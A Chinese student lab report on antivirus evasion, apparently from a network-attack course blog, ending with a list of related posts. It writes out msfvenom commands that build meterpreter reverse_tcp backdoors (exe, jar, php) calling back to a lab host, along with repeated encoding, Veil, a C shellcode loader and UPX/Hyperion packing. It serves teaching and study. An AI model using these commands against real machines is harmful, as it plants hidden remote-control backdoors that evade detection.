20164317《网络对抗技术》Exp3 免杀原理与实践
一、实验要求
1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
1.2 通过组合应用各种技术实现恶意代码免杀(0.5分) (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
二、实验内容
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;
1、使用msf编码器
通过上个实验中学到的命令生成后门程序
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168. 1.115 LPORT=4317 -f
exe > met.exe

将生成的程序上传到virus total试试结果

使用msf编码器对后门程序编码10次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b
‘\x00’ LHOST=192.168.1.115 LPORT=4317 -f exe > met-encoded10.exe

再上传到virus total试试免杀操作是否有效

2、使用msfvenom生成jar
使用Java后门程序生成命令
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.1.115 lport=4317 x>
20164317_backdoor_java.jar
3、使用msfvenom生成php
使用php后门程序生成命令msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.115 lport=4317 x> 20164317_backdoor.php

4、使用veil-evasion
设置veil
use evasion
use 7
set LHOST 192.168.1.115
set LPORT 4317

然后输入后门程序的文件名

于是把它挂上virus total看看表现如何

利用shellcode编程
- 先执行shellcode生成命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.115 LPORT=4317 -f c 得到shellcode

任务二:Linux平台交叉编译Windows应用
1、使用交叉编译
新建.c文件,将shellcode和c代码组合到一起

vim 4317met.c
unsigned char buf[] =
将shellcode替换到此处
int main()
{
int (*func)() = (int(*)())buf;
func();
}

执行
i686-w64-mingw32-g++ 4317met.c -o 4317met.exe
编译成exe文件

然后把它挂上virus total测一下,没查出来


加压缩壳
1 upx 4323.exe -o cal_4317.exe


使用加密壳(Hyperion)
将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
进入目录/usr/share/windows-binaries/hyperion/中
输入命令
wine hyperion.exe -v 4317_upxed.exe 4317_upxed_hyperion.exe
进行加壳

实现免杀


任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
实验环境:被控机是win7虚拟机,装有金山毒霸
(我保留了用vs编译的最初c+shellcode版本,以及在此基础上加压缩壳的版本、再加加密壳的版本。一共三个版本,回连失败)
- 本机打开msf控制台,开始监听
- 受控机运行后门程序
- 版本号
三、基础问题回答
1、杀软是如何检测出恶意代码的?
- 特征码扫描
- 启发式扫描
- 虚拟机技术
- 主动防御技术
- 自免疫技术
2、免杀是做什么的?
使恶意代码逃过杀毒软件的查杀
3、免杀的基本方法有哪些?
- msfvenom直接生成
- msfvenom编码一次
- msfvenom多次编码
- veil-evasion
- 半手工生成shellcode
- 加壳(压缩壳,加密壳)
4、开启杀软能绝对防止电脑中恶意代码吗?
当然不行,即便是开始直接生成的后门程序测试中也有杀软找不出来呢。
四、实验中遇到的问题
1、安装veil-evasion过程中出现很多弹窗提示你安装,但是里面的字却又是方框,编码错误显示不出来。
解决:在安装之除就选择s静默安装,一切由系统自己设置安排。
2、虚拟机ping不通别的实体机
解决:把虚拟机网卡设置改为桥接模式就可以了五、实验总结与体会
此次实验让我对免杀技术有了新的认识,比如通过不同的编程语言重写、多次编码等,都是十分新鲜的东西。不过也让我认识到安装杀软有时候可能并没有什么用,它只能按照已有的特征码或者比较有效的启发式鉴别木马和后门程序,虽然病毒库随时都在更新,但像实验中刚做出来的后门程序肯定不在病毒库之列,于是它就可以为所欲为。本次实验难度比较大,尝试了很多方法也没法实现,杀毒软件的功能还是很强的,很多次尝试都没有成功,推测还是shellcode出问题了。
20164317《网络对抗技术》Exp3 免杀原理与实践的更多相关文章
- 20145215《网络对抗》Exp3 免杀原理与实践
20145215<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 基于特征来检测:恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有 ...
- 20155227《网络对抗》Exp3 免杀原理与实践
20155227<网络对抗>Exp3 免杀原理与实践 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等 ...
- 20155232《网络对抗》Exp3 免杀原理与实践
20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执 ...
- 20155302《网络对抗》Exp3 免杀原理与实践
20155302<网络对抗>Exp3 免杀原理与实践 实验要求 1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编 ...
- 20155323刘威良《网络对抗》Exp3 免杀原理与实践
20155323刘威良<网络对抗>Exp3 免杀原理与实践 实践内容 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellco ...
- 20155333 《网络对抗》Exp3 免杀原理与实践
20155333 <网络对抗>Exp3 免杀原理与实践 基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测: 启发式恶意软件检测: 基于行为的恶意软件检测. (2)免杀是做 ...
- 20145307陈俊达《网络对抗》Exp3 免杀原理与实践
20145307陈俊达<网络对抗>Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 恶意代码中一般会有一段有较明显特征的代码也就是特征码,如果杀毒软件检测到有程序包含的 ...
- 20155218《网络对抗》Exp3 免杀原理与实践
20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时 ...
- 20155239吕宇轩《网络对抗》Exp3 免杀原理与实践
20155239吕宇轩<网络对抗>Exp3 免杀原理与实践 实验过程 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.virscan.o ...
- 20155338《网络对抗》Exp3 免杀原理与实践
20155338<网络对抗>Exp3 免杀原理与实践 实验过程 一.免杀效果参考基准 Kali使用上次实验msfvenom产生后门的可执行文件,上传到老师提供的网址http://www.v ...
随机推荐
- 25-删除m位数是剩下的最大
/* 寻找最大数 题目内容: 请在整数 n 中删除m个数字, 使得余下的数字按原次序组成的新数最大,比如当n=92081346 ...
- discuz模板引擎语法
论坛的首页模板:forum/discuz.htm 版块的内容模板:forum/forumdisplay.htm 主题的查看模板:forum/viewthread.htm 帖子的内容模板:forum/p ...
- Halcon开发环境和数据结构介绍——第1讲
1.Halcon是什么?如何初步了解Halcon? 这点我讲得不太好,不如给大家看看三个链接: ① Halcon官方网站:https://www.mvtec.com/products/halcon/ ...
- 获取url路径中的参数
简介 运用js的时候,我们有时可能会有这样的需求,就是想要获取浏览器地址栏指定的一项参数,形如:https://i.cnblogs.com/EditPosts.aspx?postid=8628413& ...
- 前端学习之JavaScript
JavaScript的历史 1992年Nombas开发出C-minus-minus(C--)的嵌入式脚本语言(最初绑定在CEnvi软件中).后将其改名ScriptEase.(客户端执行的语言) Net ...
- Linux升级Ruby
一.简介 Ruby 是一种开源的面向对象程序设计的服务器端脚本语言,在 20 世纪 90 年代中期由日本的松本行弘(まつもとゆきひろ/Yukihiro Matsumoto)设计并开发.在 Ruby 社 ...
- Maven系列(二)exec-maven-plugin
Maven系列(二)exec-maven-plugin 1. mvn 命令行运行 # exec:java 不会自动编译代码,你需要手动执行 mvn compile 来完成编译 mvn compile ...
- 【commons-io】File对文件与目录的处理&FileUtis,IOUtils,FilenameUtils工具的使用
-------------------File的使用-------------- 1.File类对文件的处理 1.1目录结构: 1.2测试对文件Test.txt处理: // 测试文件 @Test p ...
- 使用delphi 开发多层应用(二十四)KbmMW 的消息方式和创建WIB节点
KbmMW 中支持基于UDP的消息广播,也支持TCP/IP hub/spoke 方式,还有 基于UDP或者TCP/IP 的点对点的消息传输. 1.基于UDP的消息广播
- 2018.09.07 codeforces311B. Cats Transport(斜率优化dp)
传送门 斜率优化dp好题. 对于第i只猫,显然如果管理员想从出发开始刚好接到它,需要在t[i]=h[i]−dist(1,i)" role="presentation" s ...